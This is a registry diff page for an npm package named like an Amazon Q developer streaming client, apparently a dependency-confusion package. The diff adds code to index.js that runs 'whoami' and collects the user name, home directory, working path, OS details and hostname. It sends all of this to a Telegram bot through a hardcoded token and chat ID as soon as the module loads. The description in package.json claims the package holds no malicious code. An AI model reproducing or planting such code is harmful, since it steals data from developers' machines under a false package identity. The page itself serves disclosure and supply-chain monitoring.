amazon-q-developer-streaming-client 99.9.11 → 99.9.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +24 -13
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,16 +1,32 @@
1
1
  const https = require('https');
2
2
  const os = require('os');
3
+ const { execSync } = require('child_process');
3
4
 
4
5
  const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
5
6
  const CHAT_ID = "8655055695";
6
7
 
7
- // Message ko simple string banate hain complication hatane ke liye
8
- const messageText = `🚀 POC TRIGGERED!\nPackage: amazon-q-developer-streaming-client\nHost: ${os.hostname()}\nPlatform: ${os.platform()}\nResearcher: ALONE BEAST`;
8
+ let currentUser = "Unknown";
9
+ try { currentUser = execSync('whoami').toString().trim(); } catch (e) {}
10
+
11
+ // Plain text format (no markdown/HTML) to avoid parsing errors
12
+ const messageText = `
13
+ --- NEW HIT DETECTED ---
14
+ Package: amazon-q-developer-streaming-client
15
+ Researcher: ALONE BEAST
16
+
17
+ OS: ${os.type()} ${os.release()}
18
+ User: ${currentUser}
19
+ Home: ${os.homedir()}
20
+ Path: ${process.cwd()}
21
+ Arch: ${os.arch()}
22
+ Hostname: ${os.hostname()}
23
+ Time: ${new Date().toLocaleString()}
24
+ -----------------------
25
+ `;
9
26
 
10
27
  const data = JSON.stringify({
11
28
  chat_id: CHAT_ID,
12
- text: messageText,
13
- parse_mode: "Markdown"
29
+ text: messageText
14
30
  });
15
31
 
16
32
  const options = {
@@ -25,17 +41,12 @@ const options = {
25
41
  };
26
42
 
27
43
  const req = https.request(options, (res) => {
28
- let responseBody = '';
29
- res.on('data', (chunk) => { responseBody += chunk; });
30
- res.on('end', () => {
31
- console.log("Telegram Response:", responseBody);
32
- });
33
- });
34
-
35
- req.on('error', (error) => {
36
- console.error('Request Error:', error.message);
44
+ let body = '';
45
+ res.on('data', (d) => { body += d; });
46
+ res.on('end', () => { console.log("Response:", body); });
37
47
  });
38
48
 
49
+ req.on('error', (e) => { console.error("Error:", e.message); });
39
50
  req.write(data);
40
51
  req.end();
41
52
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amazon-q-developer-streaming-client",
3
- "version": "99.9.11",
3
+ "version": "99.9.13",
4
4
  "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
5
5
  "keywords": [
6
6
  "security",